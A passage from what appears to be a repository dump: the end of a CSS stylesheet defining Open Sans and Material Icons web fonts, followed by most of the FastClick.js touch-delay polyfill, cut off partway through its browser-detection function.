863 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
864 | }
865 |
866 | /* cyrillic-ext */
867 | @font-face {
868 | font-family: 'Open Sans';
869 | font-style: normal;
870 | font-weight: 400;
871 | src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/K88pR3goAWT7BTt32Z01mxJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
872 | unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;
873 | }
874 |
875 | /* cyrillic */
876 | @font-face {
877 | font-family: 'Open Sans';
878 | font-style: normal;
879 | font-weight: 400;
880 | src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/RjgO7rYTmqiVp7vzi-Q5URJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
881 | unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
882 | }
883 |
884 | /* greek-ext */
885 | @font-face {
886 | font-family: 'Open Sans';
887 | font-style: normal;
888 | font-weight: 400;
889 | src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/LWCjsQkB6EMdfHrEVqA1KRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
890 | unicode-range: U+1F00-1FFF;
891 | }
892 |
893 | /* greek */
894 | @font-face {
895 | font-family: 'Open Sans';
896 | font-style: normal;
897 | font-weight: 400;
898 | src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/xozscpT2726on7jbcb_pAhJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
899 | unicode-range: U+0370-03FF;
900 | }
901 |
902 | /* vietnamese */
903 | @font-face {
904 | font-family: 'Open Sans';
905 | font-style: normal;
906 | font-weight: 400;
907 | src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/59ZRklaO5bWGqF5A9baEERJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
908 | unicode-range: U+0102-0103, U+1EA0-1EF1, U+20AB;
909 | }
910 |
911 | /* latin-ext */
912 | @font-face {
913 | font-family: 'Open Sans';
914 | font-style: normal;
915 | font-weight: 400;
916 | src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/u-WUoqrET9fUeobQW7jkRRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
917 | unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
918 | }
919 |
920 | /* latin */
921 | @font-face {
922 | font-family: 'Open Sans';
923 | font-style: normal;
924 | font-weight: 400;
925 | src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2) format('woff2');
926 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
927 | }
928 |
929 | /* cyrillic-ext */
930 | @font-face {
931 | font-family: 'Open Sans';
932 | font-style: normal;
933 | font-weight: 600;
934 | src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(https://fonts.gstatic.com/s/opensans/v13/MTP_ySUJH_bn48VBG8sNSq-j2U0lmluP9RWlSytm3ho.woff2) format('woff2');
935 | unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;
936 | }
937 |
938 | /* cyrillic */
939 | @font-face {
940 | font-family: 'Open Sans';
941 | font-style: normal;
942 | font-weight: 600;
943 | src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(https://fonts.gstatic.com/s/opensans/v13/MTP_ySUJH_bn48VBG8sNSpX5f-9o1vgP2EXwfjgl7AY.woff2) format('woff2');
944 | unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
945 | }
946 |
947 | /* greek-ext */
948 | @font-face {
949 | font-family: 'Open Sans';
950 | font-style: normal;
951 | font-weight: 600;
952 | src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(https://fonts.gstatic.com/s/opensans/v13/MTP_ySUJH_bn48VBG8sNShWV49_lSm1NYrwo-zkhivY.woff2) format('woff2');
953 | unicode-range: U+1F00-1FFF;
954 | }
955 |
956 | /* greek */
957 | @font-face {
958 | font-family: 'Open Sans';
959 | font-style: normal;
960 | font-weight: 600;
961 | src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(https://fonts.gstatic.com/s/opensans/v13/MTP_ySUJH_bn48VBG8sNSqaRobkAwv3vxw3jMhVENGA.woff2) format('woff2');
962 | unicode-range: U+0370-03FF;
963 | }
964 |
965 | /* vietnamese */
966 | @font-face {
967 | font-family: 'Open Sans';
968 | font-style: normal;
969 | font-weight: 600;
970 | src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(https://fonts.gstatic.com/s/opensans/v13/MTP_ySUJH_bn48VBG8sNSv8zf_FOSsgRmwsS7Aa9k2w.woff2) format('woff2');
971 | unicode-range: U+0102-0103, U+1EA0-1EF1, U+20AB;
972 | }
973 |
974 | /* latin-ext */
975 | @font-face {
976 | font-family: 'Open Sans';
977 | font-style: normal;
978 | font-weight: 600;
979 | src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(https://fonts.gstatic.com/s/opensans/v13/MTP_ySUJH_bn48VBG8sNSj0LW-43aMEzIO6XUTLjad8.woff2) format('woff2');
980 | unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
981 | }
982 |
983 | /* latin */
984 | @font-face {
985 | font-family: 'Open Sans';
986 | font-style: normal;
987 | font-weight: 600;
988 | src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(https://fonts.gstatic.com/s/opensans/v13/MTP_ySUJH_bn48VBG8sNSugdm0LZdjqr5-oayXSOefg.woff2) format('woff2');
989 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
990 | }
991 |
992 |
993 |
994 |
995 |
996 |
997 |
998 |
999 |
1000 |
1001 |
1002 |
1003 |
1004 |
1005 |
1006 |
1007 |
1008 |
1009 |
1010 |
1011 |
1012 |
1013 |
1014 | /* fallback */
1015 | @font-face {
1016 | font-family: 'Material Icons';
1017 | font-style: normal;
1018 | font-weight: 400;
1019 | src: url(./fonts/flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2) format('woff2');
1020 | }
1021 |
1022 | .material-icons {
1023 | font-family: 'Material Icons';
1024 | font-weight: normal;
1025 | font-style: normal;
1026 | font-size: 24px;
1027 | line-height: 1;
1028 | letter-spacing: normal;
1029 | text-transform: none;
1030 | display: inline-block;
1031 | white-space: nowrap;
1032 | word-wrap: normal;
1033 | direction: ltr;
1034 | -webkit-font-feature-settings: 'liga';
1035 | -webkit-font-smoothing: antialiased;
1036 | }
1037 |
--------------------------------------------------------------------------------
/static/js/fastclick.js:
--------------------------------------------------------------------------------
1 | ;(function () {
2 | 'use strict';
3 |
4 | /**
5 | * @preserve FastClick: polyfill to remove click delays on browsers with touch UIs.
6 | *
7 | * @codingstandard ftlabs-jsv2
8 | * @copyright The Financial Times Limited [All Rights Reserved]
9 | * @license MIT License (see LICENSE.txt)
10 | */
11 |
12 | /*jslint browser:true, node:true*/
13 | /*global define, Event, Node*/
14 |
15 |
16 | /**
17 | * Instantiate fast-clicking listeners on the specified layer.
18 | *
19 | * @constructor
20 | * @param {Element} layer The layer to listen on
21 | * @param {Object} [options={}] The options to override the defaults
22 | */
23 | function FastClick(layer, options) {
24 | var oldOnClick;
25 |
26 | options = options || {};
27 |
28 | /**
29 | * Whether a click is currently being tracked.
30 | *
31 | * @type boolean
32 | */
33 | this.trackingClick = false;
34 |
35 |
36 | /**
37 | * Timestamp for when click tracking started.
38 | *
39 | * @type number
40 | */
41 | this.trackingClickStart = 0;
42 |
43 |
44 | /**
45 | * The element being tracked for a click.
46 | *
47 | * @type EventTarget
48 | */
49 | this.targetElement = null;
50 |
51 |
52 | /**
53 | * X-coordinate of touch start event.
54 | *
55 | * @type number
56 | */
57 | this.touchStartX = 0;
58 |
59 |
60 | /**
61 | * Y-coordinate of touch start event.
62 | *
63 | * @type number
64 | */
65 | this.touchStartY = 0;
66 |
67 |
68 | /**
69 | * ID of the last touch, retrieved from Touch.identifier.
70 | *
71 | * @type number
72 | */
73 | this.lastTouchIdentifier = 0;
74 |
75 |
76 | /**
77 | * Touchmove boundary, beyond which a click will be cancelled.
78 | *
79 | * @type number
80 | */
81 | this.touchBoundary = options.touchBoundary || 10;
82 |
83 |
84 | /**
85 | * The FastClick layer.
86 | *
87 | * @type Element
88 | */
89 | this.layer = layer;
90 |
91 | /**
92 | * The minimum time between tap(touchstart and touchend) events
93 | *
94 | * @type number
95 | */
96 | this.tapDelay = options.tapDelay || 200;
97 |
98 | /**
99 | * The maximum time for a tap
100 | *
101 | * @type number
102 | */
103 | this.tapTimeout = options.tapTimeout || 700;
104 |
105 | if (FastClick.notNeeded(layer)) {
106 | return;
107 | }
108 |
109 | // Some old versions of Android don't have Function.prototype.bind
110 | function bind(method, context) {
111 | return function() { return method.apply(context, arguments); };
112 | }
113 |
114 |
115 | var methods = ['onMouse', 'onClick', 'onTouchStart', 'onTouchMove', 'onTouchEnd', 'onTouchCancel'];
116 | var context = this;
117 | for (var i = 0, l = methods.length; i < l; i++) {
118 | context[methods[i]] = bind(context[methods[i]], context);
119 | }
120 |
121 | // Set up event handlers as required
122 | if (deviceIsAndroid) {
123 | layer.addEventListener('mouseover', this.onMouse, true);
124 | layer.addEventListener('mousedown', this.onMouse, true);
125 | layer.addEventListener('mouseup', this.onMouse, true);
126 | }
127 |
128 | layer.addEventListener('click', this.onClick, true);
129 | layer.addEventListener('touchstart', this.onTouchStart, false);
130 | layer.addEventListener('touchmove', this.onTouchMove, false);
131 | layer.addEventListener('touchend', this.onTouchEnd, false);
132 | layer.addEventListener('touchcancel', this.onTouchCancel, false);
133 |
134 | // Hack is required for browsers that don't support Event#stopImmediatePropagation (e.g. Android 2)
135 | // which is how FastClick normally stops click events bubbling to callbacks registered on the FastClick
136 | // layer when they are cancelled.
137 | if (!Event.prototype.stopImmediatePropagation) {
138 | layer.removeEventListener = function(type, callback, capture) {
139 | var rmv = Node.prototype.removeEventListener;
140 | if (type === 'click') {
141 | rmv.call(layer, type, callback.hijacked || callback, capture);
142 | } else {
143 | rmv.call(layer, type, callback, capture);
144 | }
145 | };
146 |
147 | layer.addEventListener = function(type, callback, capture) {
148 | var adv = Node.prototype.addEventListener;
149 | if (type === 'click') {
150 | adv.call(layer, type, callback.hijacked || (callback.hijacked = function(event) {
151 | if (!event.propagationStopped) {
152 | callback(event);
153 | }
154 | }), capture);
155 | } else {
156 | adv.call(layer, type, callback, capture);
157 | }
158 | };
159 | }
160 |
161 | // If a handler is already declared in the element's onclick attribute, it will be fired before
162 | // FastClick's onClick handler. Fix this by pulling out the user-defined handler function and
163 | // adding it as listener.
164 | if (typeof layer.onclick === 'function') {
165 |
166 | // Android browser on at least 3.2 requires a new reference to the function in layer.onclick
167 | // - the old one won't work if passed to addEventListener directly.
168 | oldOnClick = layer.onclick;
169 | layer.addEventListener('click', function(event) {
170 | oldOnClick(event);
171 | }, false);
172 | layer.onclick = null;
173 | }
174 | }
175 |
176 | /**
177 | * Windows Phone 8.1 fakes user agent string to look like Android and iPhone.
178 | *
179 | * @type boolean
180 | */
181 | var deviceIsWindowsPhone = navigator.userAgent.indexOf("Windows Phone") >= 0;
182 |
183 | /**
184 | * Android requires exceptions.
185 | *
186 | * @type boolean
187 | */
188 | var deviceIsAndroid = navigator.userAgent.indexOf('Android') > 0 && !deviceIsWindowsPhone;
189 |
190 |
191 | /**
192 | * iOS requires exceptions.
193 | *
194 | * @type boolean
195 | */
196 | var deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent) && !deviceIsWindowsPhone;
197 |
198 |
199 | /**
200 | * iOS 4 requires an exception for select elements.
201 | *
202 | * @type boolean
203 | */
204 | var deviceIsIOS4 = deviceIsIOS && (/OS 4_\d(_\d)?/).test(navigator.userAgent);
205 |
206 |
207 | /**
208 | * iOS 6.0-7.* requires the target element to be manually derived
209 | *
210 | * @type boolean
211 | */
212 | var deviceIsIOSWithBadTarget = deviceIsIOS && (/OS [6-7]_\d/).test(navigator.userAgent);
213 |
214 | /**
215 | * BlackBerry requires exceptions.
216 | *
217 | * @type boolean
218 | */
219 | var deviceIsBlackBerry10 = navigator.userAgent.indexOf('BB10') > 0;
220 |
221 | /**
222 | * Determine whether a given element requires a native click.
223 | *
224 | * @param {EventTarget|Element} target Target DOM element
225 | * @returns {boolean} Returns true if the element needs a native click
226 | */
227 | FastClick.prototype.needsClick = function(target) {
228 | switch (target.nodeName.toLowerCase()) {
229 |
230 | // Don't send a synthetic click to disabled inputs (issue #62)
231 | case 'button':
232 | case 'select':
233 | case 'textarea':
234 | if (target.disabled) {
235 | return true;
236 | }
237 |
238 | break;
239 | case 'input':
240 |
241 | // File inputs need real clicks on iOS 6 due to a browser bug (issue #68)
242 | if ((deviceIsIOS && target.type === 'file') || target.disabled) {
243 | return true;
244 | }
245 |
246 | break;
247 | case 'label':
248 | case 'iframe': // iOS8 homescreen apps can prevent events bubbling into frames
249 | case 'video':
250 | return true;
251 | }
252 |
253 | return (/\bneedsclick\b/).test(target.className);
254 | };
255 |
256 |
257 | /**
258 | * Determine whether a given element requires a call to focus to simulate click into element.
259 | *
260 | * @param {EventTarget|Element} target Target DOM element
261 | * @returns {boolean} Returns true if the element requires a call to focus to simulate native click.
262 | */
263 | FastClick.prototype.needsFocus = function(target) {
264 | switch (target.nodeName.toLowerCase()) {
265 | case 'textarea':
266 | return true;
267 | case 'select':
268 | return !deviceIsAndroid;
269 | case 'input':
270 | switch (target.type) {
271 | case 'button':
272 | case 'checkbox':
273 | case 'file':
274 | case 'image':
275 | case 'radio':
276 | case 'submit':
277 | return false;
278 | }
279 |
280 | // No point in attempting to focus disabled inputs
281 | return !target.disabled && !target.readOnly;
282 | default:
283 | return (/\bneedsfocus\b/).test(target.className);
284 | }
285 | };
286 |
287 |
288 | /**
289 | * Send a click event to the specified element.
290 | *
291 | * @param {EventTarget|Element} targetElement
292 | * @param {Event} event
293 | */
294 | FastClick.prototype.sendClick = function(targetElement, event) {
295 | var clickEvent, touch;
296 |
297 | // On some Android devices activeElement needs to be blurred otherwise the synthetic click will have no effect (#24)
298 | if (document.activeElement && document.activeElement !== targetElement) {
299 | document.activeElement.blur();
300 | }
301 |
302 | touch = event.changedTouches[0];
303 |
304 | // Synthesise a click event, with an extra attribute so it can be tracked
305 | clickEvent = document.createEvent('MouseEvents');
306 | clickEvent.initMouseEvent(this.determineEventType(targetElement), true, true, window, 1, touch.screenX, touch.screenY, touch.clientX, touch.clientY, false, false, false, false, 0, null);
307 | clickEvent.forwardedTouchEvent = true;
308 | targetElement.dispatchEvent(clickEvent);
309 | };
310 |
311 | FastClick.prototype.determineEventType = function(targetElement) {
312 |
313 | //Issue #159: Android Chrome Select Box does not open with a synthetic click event
314 | if (deviceIsAndroid && targetElement.tagName.toLowerCase() === 'select') {
315 | return 'mousedown';
316 | }
317 |
318 | return 'click';
319 | };
320 |
321 |
322 | /**
323 | * @param {EventTarget|Element} targetElement
324 | */
325 | FastClick.prototype.focus = function(targetElement) {
326 | var length;
327 |
328 | // Issue #160: on iOS 7, some input elements (e.g. date datetime month) throw a vague TypeError on setSelectionRange. These elements don't have an integer value for the selectionStart and selectionEnd properties, but unfortunately that can't be used for detection because accessing the properties also throws a TypeError. Just check the type instead. Filed as Apple bug #15122724.
329 | if (deviceIsIOS && targetElement.setSelectionRange && targetElement.type.indexOf('date') !== 0 && targetElement.type !== 'time' && targetElement.type !== 'month') {
330 | length = targetElement.value.length;
331 | targetElement.setSelectionRange(length, length);
332 | } else {
333 | targetElement.focus();
334 | }
335 | };
336 |
337 |
338 | /**
339 | * Check whether the given target element is a child of a scrollable layer and if so, set a flag on it.
340 | *
341 | * @param {EventTarget|Element} targetElement
342 | */
343 | FastClick.prototype.updateScrollParent = function(targetElement) {
344 | var scrollParent, parentElement;
345 |
346 | scrollParent = targetElement.fastClickScrollParent;
347 |
348 | // Attempt to discover whether the target element is contained within a scrollable layer. Re-check if the
349 | // target element was moved to another parent.
350 | if (!scrollParent || !scrollParent.contains(targetElement)) {
351 | parentElement = targetElement;
352 | do {
353 | if (parentElement.scrollHeight > parentElement.offsetHeight) {
354 | scrollParent = parentElement;
355 | targetElement.fastClickScrollParent = parentElement;
356 | break;
357 | }
358 |
359 | parentElement = parentElement.parentElement;
360 | } while (parentElement);
361 | }
362 |
363 | // Always update the scroll top tracker if possible.
364 | if (scrollParent) {
365 | scrollParent.fastClickLastScrollTop = scrollParent.scrollTop;
366 | }
367 | };
368 |
369 |
370 | /**
371 | * @param {EventTarget} targetElement
372 | * @returns {Element|EventTarget}
373 | */
374 | FastClick.prototype.getTargetElementFromEventTarget = function(eventTarget) {
375 |
376 | // On some older browsers (notably Safari on iOS 4.1 - see issue #56) the event target may be a text node.
377 | if (eventTarget.nodeType === Node.TEXT_NODE) {
378 | return eventTarget.parentNode;
379 | }
380 |
381 | return eventTarget;
382 | };
383 |
384 |
385 | /**
386 | * On touch start, record the position and scroll offset.
387 | *
388 | * @param {Event} event
389 | * @returns {boolean}
390 | */
391 | FastClick.prototype.onTouchStart = function(event) {
392 | var targetElement, touch, selection;
393 |
394 | // Ignore multiple touches, otherwise pinch-to-zoom is prevented if both fingers are on the FastClick element (issue #111).
395 | if (event.targetTouches.length > 1) {
396 | return true;
397 | }
398 |
399 | targetElement = this.getTargetElementFromEventTarget(event.target);
400 | touch = event.targetTouches[0];
401 |
402 | if (deviceIsIOS) {
403 |
404 | // Only trusted events will deselect text on iOS (issue #49)
405 | selection = window.getSelection();
406 | if (selection.rangeCount && !selection.isCollapsed) {
407 | return true;
408 | }
409 |
410 | if (!deviceIsIOS4) {
411 |
412 | // Weird things happen on iOS when an alert or confirm dialog is opened from a click event callback (issue #23):
413 | // when the user next taps anywhere else on the page, new touchstart and touchend events are dispatched
414 | // with the same identifier as the touch event that previously triggered the click that triggered the alert.
415 | // Sadly, there is an issue on iOS 4 that causes some normal touch events to have the same identifier as an
416 | // immediately preceeding touch event (issue #52), so this fix is unavailable on that platform.
417 | // Issue 120: touch.identifier is 0 when Chrome dev tools 'Emulate touch events' is set with an iOS device UA string,
418 | // which causes all touch events to be ignored. As this block only applies to iOS, and iOS identifiers are always long,
419 | // random integers, it's safe to to continue if the identifier is 0 here.
420 | if (touch.identifier && touch.identifier === this.lastTouchIdentifier) {
421 | event.preventDefault();
422 | return false;
423 | }
424 |
425 | this.lastTouchIdentifier = touch.identifier;
426 |
427 | // If the target element is a child of a scrollable layer (using -webkit-overflow-scrolling: touch) and:
428 | // 1) the user does a fling scroll on the scrollable layer
429 | // 2) the user stops the fling scroll with another tap
430 | // then the event.target of the last 'touchend' event will be the element that was under the user's finger
431 | // when the fling scroll was started, causing FastClick to send a click event to that layer - unless a check
432 | // is made to ensure that a parent layer was not scrolled before sending a synthetic click (issue #42).
433 | this.updateScrollParent(targetElement);
434 | }
435 | }
436 |
437 | this.trackingClick = true;
438 | this.trackingClickStart = event.timeStamp;
439 | this.targetElement = targetElement;
440 |
441 | this.touchStartX = touch.pageX;
442 | this.touchStartY = touch.pageY;
443 |
444 | // Prevent phantom clicks on fast double-tap (issue #36)
445 | if ((event.timeStamp - this.lastClickTime) < this.tapDelay) {
446 | event.preventDefault();
447 | }
448 |
449 | return true;
450 | };
451 |
452 |
453 | /**
454 | * Based on a touchmove event object, check whether the touch has moved past a boundary since it started.
455 | *
456 | * @param {Event} event
457 | * @returns {boolean}
458 | */
459 | FastClick.prototype.touchHasMoved = function(event) {
460 | var touch = event.changedTouches[0], boundary = this.touchBoundary;
461 |
462 | if (Math.abs(touch.pageX - this.touchStartX) > boundary || Math.abs(touch.pageY - this.touchStartY) > boundary) {
463 | return true;
464 | }
465 |
466 | return false;
467 | };
468 |
469 |
470 | /**
471 | * Update the last position.
472 | *
473 | * @param {Event} event
474 | * @returns {boolean}
475 | */
476 | FastClick.prototype.onTouchMove = function(event) {
477 | if (!this.trackingClick) {
478 | return true;
479 | }
480 |
481 | // If the touch has moved, cancel the click tracking
482 | if (this.targetElement !== this.getTargetElementFromEventTarget(event.target) || this.touchHasMoved(event)) {
483 | this.trackingClick = false;
484 | this.targetElement = null;
485 | }
486 |
487 | return true;
488 | };
489 |
490 |
491 | /**
492 | * Attempt to find the labelled control for the given label element.
493 | *
494 | * @param {EventTarget|HTMLLabelElement} labelElement
495 | * @returns {Element|null}
496 | */
497 | FastClick.prototype.findControl = function(labelElement) {
498 |
499 | // Fast path for newer browsers supporting the HTML5 control attribute
500 | if (labelElement.control !== undefined) {
501 | return labelElement.control;
502 | }
503 |
504 | // All browsers under test that support touch events also support the HTML5 htmlFor attribute
505 | if (labelElement.htmlFor) {
506 | return document.getElementById(labelElement.htmlFor);
507 | }
508 |
509 | // If no for attribute exists, attempt to retrieve the first labellable descendant element
510 | // the list of which is defined here: http://www.w3.org/TR/html5/forms.html#category-label
511 | return labelElement.querySelector('button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea');
512 | };
513 |
514 |
515 | /**
516 | * On touch end, determine whether to send a click event at once.
517 | *
518 | * @param {Event} event
519 | * @returns {boolean}
520 | */
521 | FastClick.prototype.onTouchEnd = function(event) {
522 | var forElement, trackingClickStart, targetTagName, scrollParent, touch, targetElement = this.targetElement;
523 |
524 | if (!this.trackingClick) {
525 | return true;
526 | }
527 |
528 | // Prevent phantom clicks on fast double-tap (issue #36)
529 | if ((event.timeStamp - this.lastClickTime) < this.tapDelay) {
530 | this.cancelNextClick = true;
531 | return true;
532 | }
533 |
534 | if ((event.timeStamp - this.trackingClickStart) > this.tapTimeout) {
535 | return true;
536 | }
537 |
538 | // Reset to prevent wrong click cancel on input (issue #156).
539 | this.cancelNextClick = false;
540 |
541 | this.lastClickTime = event.timeStamp;
542 |
543 | trackingClickStart = this.trackingClickStart;
544 | this.trackingClick = false;
545 | this.trackingClickStart = 0;
546 |
547 | // On some iOS devices, the targetElement supplied with the event is invalid if the layer
548 | // is performing a transition or scroll, and has to be re-detected manually. Note that
549 | // for this to function correctly, it must be called *after* the event target is checked!
550 | // See issue #57; also filed as rdar://13048589 .
551 | if (deviceIsIOSWithBadTarget) {
552 | touch = event.changedTouches[0];
553 |
554 | // In certain cases arguments of elementFromPoint can be negative, so prevent setting targetElement to null
555 | targetElement = document.elementFromPoint(touch.pageX - window.pageXOffset, touch.pageY - window.pageYOffset) || targetElement;
556 | targetElement.fastClickScrollParent = this.targetElement.fastClickScrollParent;
557 | }
558 |
559 | targetTagName = targetElement.tagName.toLowerCase();
560 | if (targetTagName === 'label') {
561 | forElement = this.findControl(targetElement);
562 | if (forElement) {
563 | this.focus(targetElement);
564 | if (deviceIsAndroid) {
565 | return false;
566 | }
567 |
568 | targetElement = forElement;
569 | }
570 | } else if (this.needsFocus(targetElement)) {
571 |
572 | // Case 1: If the touch started a while ago (best guess is 100ms based on tests for issue #36) then focus will be triggered anyway. Return early and unset the target element reference so that the subsequent click will be allowed through.
573 | // Case 2: Without this exception for input elements tapped when the document is contained in an iframe, then any inputted text won't be visible even though the value attribute is updated as the user types (issue #37).
574 | if ((event.timeStamp - trackingClickStart) > 100 || (deviceIsIOS && window.top !== window && targetTagName === 'input')) {
575 | this.targetElement = null;
576 | return false;
577 | }
578 |
579 | this.focus(targetElement);
580 | this.sendClick(targetElement, event);
581 |
582 | // Select elements need the event to go through on iOS 4, otherwise the selector menu won't open.
583 | // Also this breaks opening selects when VoiceOver is active on iOS6, iOS7 (and possibly others)
584 | if (!deviceIsIOS || targetTagName !== 'select') {
585 | this.targetElement = null;
586 | event.preventDefault();
587 | }
588 |
589 | return false;
590 | }
591 |
592 | if (deviceIsIOS && !deviceIsIOS4) {
593 |
594 | // Don't send a synthetic click event if the target element is contained within a parent layer that was scrolled
595 | // and this tap is being used to stop the scrolling (usually initiated by a fling - issue #42).
596 | scrollParent = targetElement.fastClickScrollParent;
597 | if (scrollParent && scrollParent.fastClickLastScrollTop !== scrollParent.scrollTop) {
598 | return true;
599 | }
600 | }
601 |
602 | // Prevent the actual click from going though - unless the target node is marked as requiring
603 | // real clicks or if it is in the whitelist in which case only non-programmatic clicks are permitted.
604 | if (!this.needsClick(targetElement)) {
605 | event.preventDefault();
606 | this.sendClick(targetElement, event);
607 | }
608 |
609 | return false;
610 | };
611 |
612 |
613 | /**
614 | * On touch cancel, stop tracking the click.
615 | *
616 | * @returns {void}
617 | */
618 | FastClick.prototype.onTouchCancel = function() {
619 | this.trackingClick = false;
620 | this.targetElement = null;
621 | };
622 |
623 |
624 | /**
625 | * Determine mouse events which should be permitted.
626 | *
627 | * @param {Event} event
628 | * @returns {boolean}
629 | */
630 | FastClick.prototype.onMouse = function(event) {
631 |
632 | // If a target element was never set (because a touch event was never fired) allow the event
633 | if (!this.targetElement) {
634 | return true;
635 | }
636 |
637 | if (event.forwardedTouchEvent) {
638 | return true;
639 | }
640 |
641 | // Programmatically generated events targeting a specific element should be permitted
642 | if (!event.cancelable) {
643 | return true;
644 | }
645 |
646 | // Derive and check the target element to see whether the mouse event needs to be permitted;
647 | // unless explicitly enabled, prevent non-touch click events from triggering actions,
648 | // to prevent ghost/doubleclicks.
649 | if (!this.needsClick(this.targetElement) || this.cancelNextClick) {
650 |
651 | // Prevent any user-added listeners declared on FastClick element from being fired.
652 | if (event.stopImmediatePropagation) {
653 | event.stopImmediatePropagation();
654 | } else {
655 |
656 | // Part of the hack for browsers that don't support Event#stopImmediatePropagation (e.g. Android 2)
657 | event.propagationStopped = true;
658 | }
659 |
660 | // Cancel the event
661 | event.stopPropagation();
662 | event.preventDefault();
663 |
664 | return false;
665 | }
666 |
667 | // If the mouse event is permitted, return true for the action to go through.
668 | return true;
669 | };
670 |
671 |
672 | /**
673 | * On actual clicks, determine whether this is a touch-generated click, a click action occurring
674 | * naturally after a delay after a touch (which needs to be cancelled to avoid duplication), or
675 | * an actual click which should be permitted.
676 | *
677 | * @param {Event} event
678 | * @returns {boolean}
679 | */
680 | FastClick.prototype.onClick = function(event) {
681 | var permitted;
682 |
683 | // It's possible for another FastClick-like library delivered with third-party code to fire a click event before FastClick does (issue #44). In that case, set the click-tracking flag back to false and return early. This will cause onTouchEnd to return early.
684 | if (this.trackingClick) {
685 | this.targetElement = null;
686 | this.trackingClick = false;
687 | return true;
688 | }
689 |
690 | // Very odd behaviour on iOS (issue #18): if a submit element is present inside a form and the user hits enter in the iOS simulator or clicks the Go button on the pop-up OS keyboard the a kind of 'fake' click event will be triggered with the submit-type input element as the target.
691 | if (event.target.type === 'submit' && event.detail === 0) {
692 | return true;
693 | }
694 |
695 | permitted = this.onMouse(event);
696 |
697 | // Only unset targetElement if the click is not permitted. This will ensure that the check for !targetElement in onMouse fails and the browser's click doesn't go through.
698 | if (!permitted) {
699 | this.targetElement = null;
700 | }
701 |
702 | // If clicks are permitted, return true for the action to go through.
703 | return permitted;
704 | };
705 |
706 |
707 | /**
708 | * Remove all FastClick's event listeners.
709 | *
710 | * @returns {void}
711 | */
712 | FastClick.prototype.destroy = function() {
713 | var layer = this.layer;
714 |
715 | if (deviceIsAndroid) {
716 | layer.removeEventListener('mouseover', this.onMouse, true);
717 | layer.removeEventListener('mousedown', this.onMouse, true);
718 | layer.removeEventListener('mouseup', this.onMouse, true);
719 | }
720 |
721 | layer.removeEventListener('click', this.onClick, true);
722 | layer.removeEventListener('touchstart', this.onTouchStart, false);
723 | layer.removeEventListener('touchmove', this.onTouchMove, false);
724 | layer.removeEventListener('touchend', this.onTouchEnd, false);
725 | layer.removeEventListener('touchcancel', this.onTouchCancel, false);
726 | };
727 |
728 |
729 | /**
730 | * Check whether FastClick is needed.
731 | *
732 | * @param {Element} layer The layer to listen on
733 | */
734 | FastClick.notNeeded = function(layer) {
735 | var metaViewport;
736 | var chromeVersion;
737 | var blackberryVersion;
738 | var firefoxVersion;
739 |
740 | // Devices that don't support touch don't need FastClick
741 | if (typeof window.ontouchstart === 'undefined') {
742 | return true;
743 | }
744 |
745 | // Chrome version - zero for other browsers
746 | chromeVersion = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [,0])[1];
747 |
748 | if (chromeVersion) {
749 |
750 | if (deviceIsAndroid) {
751 | metaViewport = document.querySelector('meta[name=viewport]');
752 |
753 | if (metaViewport) {
754 | // Chrome on Android with user-scalable="no" doesn't need FastClick (issue #89)
755 | if (metaViewport.content.indexOf('user-scalable=no') !== -1) {
756 | return true;
757 | }
758 | // Chrome 32 and above with width=device-width or less don't need FastClick
759 | if (chromeVersion > 31 && document.documentElement.scrollWidth <= window.outerWidth) {
760 | return true;
761 | }
762 | }
763 |
764 | // Chrome desktop doesn't need FastClick (issue #15)
765 | } else {
766 | return true;
767 | }
768 | }
769 |
770 | if (deviceIsBlackBerry10) {
771 | blackberryVersion = navigator.userAgent.match(/Version\/([0-9]*)\.([0-9]*)/);
772 |
773 | // BlackBerry 10.3+ does not require Fastclick library.
774 | // https://github.com/ftlabs/fastclick/issues/251
775 | if (blackberryVersion[1] >= 10 && blackberryVersion[2] >= 3) {
776 | metaViewport = document.querySelector('meta[name=viewport]');
777 |
778 | if (metaViewport) {
779 | // user-scalable=no eliminates click delay.
